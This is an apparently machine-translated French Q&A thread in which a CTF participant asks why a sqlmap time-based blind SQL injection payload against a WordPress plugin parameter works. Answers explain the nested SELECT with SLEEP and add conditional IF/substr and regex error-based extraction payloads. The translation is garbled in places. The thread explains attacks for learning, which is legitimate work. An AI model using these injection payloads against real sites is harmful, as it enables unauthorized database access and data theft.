Je participais à un CTF et il y avait un défi d'injection SQL. Il existe une page Wordpress avec un paramètre de plugin vulnérable (appelons le site Web https://vulnerable.com/
), et la solution provient de fuites de valeurs de la base de données. À l'aide de SQLMAP, il a rapidement trouvé la charge utile.
Lors de la visite de la page, il y a un délai de "N" secondes.
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
SQLMAP a ensuite résolu le problème avec facilité. Cela m'a laissé un peu coupable, car je ne comprends pas vraiment la charge utile. J'ai essayé de le changer comme suit, mais aucun retard n'a lieu.
Aucun retard n'a eu lieu.
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))
Quelqu'un pourrait-il m'aider à comprendre les instructions imbriquées SELECT
, le nombre 1749
et la chaîne apparemment aléatoire nQtm
?, sont-elles aléatoires?, pourquoi la charge utile échoue-t-elle sans les instructions imbriquées SELECT
?
Je suppose que c'est une base de données MySQL
.
_1749
_ (est supérieur à 0) et nQtm
(alias valide - "nom de variable" pour la table dérivée) ont été choisis au hasard par sqlmap
. Le problème avec sleep(N)
est que base de données SQL l'évalue à 0 et donc _post=1 AND 0
_ sera évalué à zéro ( FALSE : 1 ET 0 = 0) aussi. La valeur _1749
_ est interprétée par base de données SQL comme TRUE (choses similaires (if (42) { ... }
) se produit en [~ # ~] php [~ # ~] ou en python ou en [~ # ~] c [~ # ~] et probablement ailleurs mais je n'utilise pas ce style de codage car il est difficile à lire et peut conduire à des bugs involontaires).
Aucun retard n'a eu lieu.
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT (SLEEP (N))
J'ai créé juste une requête aléatoire et elle a toujours été retardée de 3 secondes. Je ne peux donc pas vraiment expliquer pourquoi cela n'a pas tardé dans votre cas (peut-être que ce n'est pas Base de données MySQL (Peut-être que c'est Sqlite) ou peut-être une base de données interne L'optimiseur a ignoré cette partie avec sleep(N)
car elle a été immédiatement évaluée à zéro, car il n'y a pas if-branches. J'ai couru une fois dans un problème similaire avec SLEEP (N) )
_select t.a from (select 1 as a, 2 as b, 3 as c) as t where t.b = 2 and 1=(select(sleep(3)))
_
Détails:
SELECT(SLEEP(1))
retourne
_(SELECT 1749 FROM (SELECT(SLEEP(1))) nQtm)
_ où nQtm
est n alias (vous pouvez l'appeler une variable si vous le souhaitez) pour dérivétable _(SELECT(SLEEP(1)))
_. Si vous essayez d'exécuter _(SELECT nQtm.* FROM (SELECT(SLEEP(1))) as nQtm)
_ le résultat sera juste 0 (une ligne avec le résultat 0).
Cela revient à écrire select t.* from (select 0) as t
qui donnera 0 (vous sélectionnez toutes les colonnes et toutes les lignes ici, mais comme nous n'avons qu'une ligne et une colonne, le résultat est 0).
Donc _(SELECT 1749 FROM (SELECT(SLEEP(N))) nQtm)
_ entraînera toujours _1749
_ - peu importe ce que vous mettez dans SLEEP(N)
- cela retardera [~ # ~] n [~ # ~ ] secondes, mais le résultat sera le même (select 42 from (select 0)
sélectionnera toujours 42 donc il est en quelque sorte indépendant de la table dérivée _(select 0)
_).
Imaginez que la requête SQL d'origine soit:
_"UPDATE
posts
SET
data='hello world'
WHERE
user_id=42
AND post=".$_POST["post"];
_
Maintenant, si vous faites une injection, cela se traduira par:
_UPDATE
posts
SET
data='hello world'
WHERE
user_id=42
AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
_
où ... AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
qui est identique à _... AND post=1 AND 1749
_ qui sera probablement évalué à 1 (qui est TRUE ) si l'entrée stockée pour post
est également 1 (_1=1 AND 1749
_ identique à _1 AND 1749
_ identique à _1
_). Il dormira donc [~ # ~] n [~ # ~] secondes, puis effectuera une mise à jour de la base de données [~ # ~] db [~ # ~].
Vous pouvez l'exploiter avec l'instruction _if...then...else
_. Il y en a 2 dans MySQL: _(if (isMyDogBrown?, true, false))
_ et _(case (isMyDogBrown?) then (true) else (false) end)
_. Alors maintenant, vous pouvez construire votre requête et si quelque chose est évalué à VRAI il dormira pendant [~ # ~] n [~ # ~] secondes: _(SELECT IF ( substr(@@version, 0, 1)='1'), sleep(5), 0)
_.
Note: Vous pouvez optimiser votre requête en évitant _time based exploitation
_ (très lent). Vous pouvez utiliser _binary search based exploitation technique
_ ex. en utilisant le fait que les erreurs dans MySQL expressions régulières sont traitées comme des erreurs MySQL (donc "MySQL/erreur de serveur" vous évaluerez à TRUE et "page régulière" à FALSE ; ... et cela pourrait spammer le mysql.log avec des messages d'erreur sur ce serveur):
_(select (1) rlike (if (".$cmd.", true, 0x28)))
_
(_0x28
_ = _(
_) ( https://www.systutorials.com/4670/ascii-table-and-ascii-code/ )
Notes supplémentaires:
SLEEP(N)
ne fonctionnera pas toujours partout (dans les cas où votre requête SQL DOIT être quelque peu cassée et ne pas retourner de résultats qui pourraient être évalués par certains filtres dans le script PHP principal/autre (comme le compteur de tentatives de connexion, etc.)) . Parfois, vous aurez besoin de _heavy query based exploitation
_: https://stackoverflow.com/questions/45666126/strange-behaviour-of-mysql-sleep-functionEn général, l'injection SQL dépend du moteur de base de données utilisé, je pense que dans votre exemple, vous fournissez un sql pour la base de données MariaDB/MySQL. La fonction sleep sur PostgreSQL est pg_sleep, donc votre injection ne fonctionnera pas sur PostgreSQL.
MariaDB [CODINGGROUND]> (SELECT 1749 FROM (SELECT(SLEEP(1)))nQtm)
-> ;
+------+
| 1749 |
+------+
| 1749 |
+------+
Et l'autre requête
MariaDB [CODINGGROUND]> select (sleep(1));
+------------+
| (sleep(1)) |
+------------+
| 0 |
+------------+
1 row in set (1.00 sec)
Donc, fondamentalement, vous pouvez comprendre pourquoi l'un fonctionne et l'autre pas. Mais gardez à l'esprit qu'en général, l'injection SQL dépend du serveur de base de données que vous utilisez. Parce que SQL est un langage standard mais pas tous les moteurs implémentent de la même manière et ils ont leurs différences.